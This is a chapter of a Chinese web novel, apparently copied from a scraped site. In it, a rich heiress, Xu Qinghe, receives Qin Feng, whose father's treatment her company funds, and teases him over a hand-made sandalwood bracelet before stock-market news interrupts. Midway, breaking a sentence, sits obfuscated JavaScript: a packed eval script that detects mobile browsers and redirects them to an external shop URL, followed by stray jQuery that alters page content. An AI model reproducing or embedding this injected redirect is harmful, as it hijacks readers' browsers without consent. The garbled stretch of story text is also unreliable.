5. 试探

作品:《今日雪况如何

    煦宏集团大楼高层,许清和的办公室亮堂得有些空旷。


    她这间屋子,规格够高,视野够好,落地窗外是惠城的天际线,阳光慷慨地铺满地毯,却烘不出什么热闹气。


    许清和没课的时候会过来这里坐坐。


    大部分时候,她都是坐在这里看自己专业课的书或者做作业,很少有人真的拿集团的公事来交给她处理。


    然而每次坐在办公室的时候,她依然会特意不把门关严,留一道缝。只要外头走廊一有脚步声,她就下意识停下手里的动作,竖起耳朵听——盼着能有人推门进来,递份文件,或者传几句真正和她有关的消息。


    可惜,大多数时候进来的只有陈岚。


    叩叩。


    门被敲响时,许清和正抱着个抱枕,打算列一份暑期的学习计划,听见声音,她眼睛一亮,手里的动作停了。


    陈岚推门进来,笑着看她:“一放假就来集团?”


    “……嗯。”许清和松开揪着抱枕的手,语气淡了下去。


    好吧,又是寻常的一天。


    然而陈岚却抬手指了指门外,就像真的看懂了许清和的那点失落,对她说:“清和,那次慈善晚宴上,我们要资助的受灾群众秦家,有回音了。他父亲已经安排进二院,治疗方案也定了。秦锋那边特地联系,说想当面跟你道个谢。”


    许清和愣了一下。


    像是酒醒以后突然忘记动情时的荒唐事,她不加掩饰地蹙起眉头,有些懊恼地“喔”了一声,才想起自己一时兴起答应下来的人情债。


    办公室的门虚掩着,秦锋已经被带到那旁边候着,而许清和那点微不足道的迟疑,被他全看见了。他垂下眼,揣在兜里的手握得更紧。


    陈岚示意似的问许清和:“那我叫他进来?”


    许清和抬眼,就看见那个高大的男人站在门口,木讷、僵硬,像是不知道该怎么办才好。


    陈岚把打印好的资助合同放在了许清和的办公桌,冲秦锋做了个“请”的手势,然后礼貌地退出,将空间留给他们。


    等门关上了,办公室里只剩下俩人了,秦锋才抬脚,往许清和跟前走了两步,在她宽大的办公桌前,又隔了一点距离的地方,停下。


    不过半个月,他身上的棱角似乎被磨平了不少,不知是现实的重量,还是求人的自觉。


    他身上有种苦涩的药香,在这样近的距离里格外明显。他穿着洗得发旧的衣裳,身处在窗明几净的写字楼里,看起来有些不得其所。


    许清和瞥了他一眼,又看了一下近在他身旁的棕色真皮沙发,到底也没说出那句“坐吧”。


    然后她垂下眼,把目光放回到资助协议上,上面的条款异常清晰,关于资助的金额、资助的方式、额外的条件。修长的手轻轻捻过纸,许清和脑子里一下子浮现出她父亲和人谈判时候的样子。


    那点无所事事又跃跃欲试的劲头,突然在许清和心里咕噜咕噜冒泡。


    于是她抬眼,往后靠了靠,老派地环抱双臂。


    宽大的真皮座椅几乎将整她个人包裹,衬得她身形纤细,甚至有些伶仃。她看起来完全是个还在念书的、带着点娇气的小姑娘。


    此刻却板着神色,对秦锋说:“有人跟你讲清楚了吗?资助不是一次性的,你得配合后续宣传。露脸,说话,当个典型。”


    喉音滚过,男人低低嗯了一声。


    “效果好的话,”许清和一手撑在椅子扶手上,另一手打了个随意的手势,“后续也不是不能谈。比如,帮你父亲找个长期的、专业点的护工?或者,你自己呢,有什么打算?”


    秦锋没吭声。


    许清和也不急。她又慢条斯理地喝了几口拿铁,然后用手背支起下巴,好整以暇地打量他。


    男人浓眉压着眼,那股子被生活磨砺出的不耐和凶悍隐隐透出来,却又被他死死按捺着,不敢泄露分毫。


    秦锋知道,机会就摆在他眼前。只要他肯弯腰低背,说几句软话,甚至挤出两滴眼泪,他就能抓住一根救命稻草——他爹需要稳定的医药费,而他本人,需要一份既能糊口、又能随时抽身去医院的工作。


    可当他开口时,却带着一种近乎愚蠢的执拗:“许小姐,今天我主要是来道谢的,不是来再要什么的。”


    “哦——”许清和拖了个长音,心想,挺硬气呢。


    秦锋略微看了一眼许清和。


    他平日里绝不是什么敏感的人,但今天身处在这样一个与他的世界完全割裂的环境里,他突然有种神经过敏的感觉,像是怕掉到什么陷阱里。


    当他发现她没有赶人的意思,才继续说:“给您带了点山货,籍县的特产,刚才给了秘书,”他喘了口气,“也不是什么特别值钱的东西,但是村里老人都说,那些菌子用来炖汤,对脾胃好。您可以……尝个鲜。”


    听了这朴素到有些寒酸的陈述,许清和没显出不耐烦,反而上上下下地打量站在她面前的男人。


    好像有些似曾相识?


    可是这样的人,她往日里哪能接触到?


    她的目光,从他锋利的唇线,到冒出胡茬的人中窝,末了,还仔仔细细看了看他的手指。


    “你自己采的?”她问。


    秦锋愣了一下,才点头:“嗯。”


    “那倒是费心了,”许清和语气平淡,倒是用指尖又拨弄了几下桌上那份资助协议,别有意味,“不过我这里,也不缺这些。”


    秦锋下颌线绷紧了一瞬。


    “知道,”他声音更低了些,“就是个心意,谢谢许小姐能……倾囊相助。”


    “怎么谢?”许清和忽然笑了,抬了抬下巴,“光靠几朵蘑菇?”


    秦锋不说话了。


    办公室里一时安静地能听到中央空调的嗡鸣。


    沉默像滚烫的细沙从脚底往上漫,酥酥麻麻的紧张和不安窜到脑门,秦锋的手在裤兜里反复摩挲着那串珠子。


    终于,他还是一咬牙,开了口:“还有……我们籍县有座老山神庙,香火以前很旺,只是后来封了。月初一那天,我托关系找到个师父,为您……”一口不上不下的气堵在他胸口,“求了一条檀木手串。”


    手串带着体温,秦锋的手抖了几下,才把它拿出来。深褐色的珠子,表面甚至有些粗糙的刻痕,躺在他宽大、布满薄茧的掌心里,更显得朴实无华。


    他犹豫了一下,没敢直接递过去,只小心翼翼地把它放在光可鉴人的桌沿。


    手串放得太靠外,珠子差点滚落。秦锋赶忙一把拢住,往许清和那边又推了推。


    许清和没动手拿,但是歪着头,仔细端详了一下那个手串:“挺好,看来我这钱花出去还能听到不少响动。”


    一听到“钱”字,秦锋马上说:“资助的钱我会还的。算我借的。”


    “哦?” 许清和尾音上扬,“什么时候?拿什么还?你这空口白话,比这木头珠子还轻。”


    “眼下这笔资助,能解燃眉之急。我父亲在惠城住院,我就在这儿找活干。城里机会多,我一个人,怎么都能挤出钱来。” 秦锋说得斩钉截铁,眼神却依然避着许清和,盯着桌面上她映出的模糊倒影。


    “这手串……”许清和轻声开口,“看着挺古朴,有点意思。”


    秦锋的心往下落了落,像卸了重担似的舒了口气。这一上午的煎熬仿佛到了尽头,那恼人的任务似乎就要终结在这声低语里。


    可就在这当口,许清和却慢悠悠地翘起了腿,纤细


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17102828|195747||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    的脚踝在空中微微晃动,像悬着颗不安分的心。她忽然笑起来,笑得狡黠,好似突然得到一个新奇的玩具。


    她非但没让他走,反而问他:“你怎么求的这手串?……跪着求的?”


    秦锋一怔,勉强点了个头:“嗯。”


    许清和往前倾了倾身子,笑得不明所以:“那你当时心诚么?”


    秦锋喉结一滚:“诚。”


    许清和紧接着说:“不如这样——”她拖长了声音,声音里充满兴味,“既然这庙这么灵,那以后每个月初一,你都替我去那庙里求一求。也不用求什么大富大贵,就求个我心愿得成、出入平安?怎么样?”


    秦锋愣了。他看着她亮晶晶的、盛满漫不经心的眼睛,分辨不出那里面有多少是认真,多少是玩弄。


    他腮边的肌肉鼓动了一下,低声说:“如果您这么要求……可以。”


    许清和用纤细的小指勾起那串深褐色的手串,举到眼前,对着窗外透进的光线轻轻晃了晃,珠子碰撞,发出细微沉闷的声响。


    她抬起眼,看向秦锋,嘴角噙着一丝若有若无的笑:“记得啊,每次都要跪下去求。不然……怎么灵验呢?”


    她的目光追着他,无声地逼迫他与她对视,仿佛要刺穿他那层冷硬的外壳,窥见底下翻腾的、滚烫的窘迫与挣扎。


    可惜。


    门外突然传来一阵嘈杂的脚步。


    “这么大的新闻?!”


    “涨了多少个点?!”


    许清和一下子就把自己的注意力从秦锋身上分出来,扬声一唤,陈岚就从外面进来了。


    “怎么了?有什么突发新闻?”许清和问。


    陈岚把平板往许清和跟前一递,一条财经新闻横在那里。


    重磅:基金管理牌照暂停新增,存量时代开启。


    字不多,份量砸得人心头一沉。许清和的目光迅速扫过正文,思绪疾转如飞:明年一月起,政策的闸门一落,只剩下场内玩家坐地分金。而在惠城,手里攥着最多筹码的,就是黄家,黄家的凰湖资本。


    她忽然就明白了,黄屹这趟回国,排场为什么那么大;而她妈妈洪昕,又为什么拼命把她往黄家跟前捧。


    许清和从平板里抬起眼,问陈岚:“黄家的股票今天得飞了吧?大家就在讨论这事儿?”


    陈岚却摇了摇头:“不是,是……咱们集团的股票,也跟着涨了八个点。”她在平板上一划,调出煦宏集团的股价走势:一条陡峭的红线,直往上蹿。


    许清和盯着那条红线看了好几秒,然后了然地哼笑出声:“因为我跟黄屹在晚宴上站一块儿被拍到了吧?”


    陈岚没说是,也没说不是,只把语气放得更缓:“市场就信这些。情绪到了,风都能刮出钱来。”


    许清和拿起陈岚准备的拿铁,抿了一大口:“喔,那可是真金白银的钱呐!”奶泡在上唇留下了一圈可爱的白胡子,她不在意地伸出舌尖舔掉,带着点古灵精怪,“那以后我多跟黄屹‘同框’几次,明年可不就能当上咱们集团的销冠了!”


    陈岚也跟着笑了笑,然后像是才注意到秦锋的存在,略有疑惑地看了他一眼。


    秦锋从陈岚一进来起,就挪到了边上,难进难退。


    他既没有去看许清和,也没有打量四周,像是怕记住这里的任何东西。他只是拼命盯着她桌上肥厚的龟背竹,仿佛那里有什么答案。


    那位大小姐和她的秘书说得话,他一个字都听不懂,天书一样的文字像念经一样箍着他,让他禁不住生出埋怨:他今天到底要为什么来?!


    没想到,许清和却突然冲秦锋扬了扬下巴,话是对着陈岚说的:“陈岚姐,你说,我跟他站在一块儿的时候,怎么就没被拍到呢?”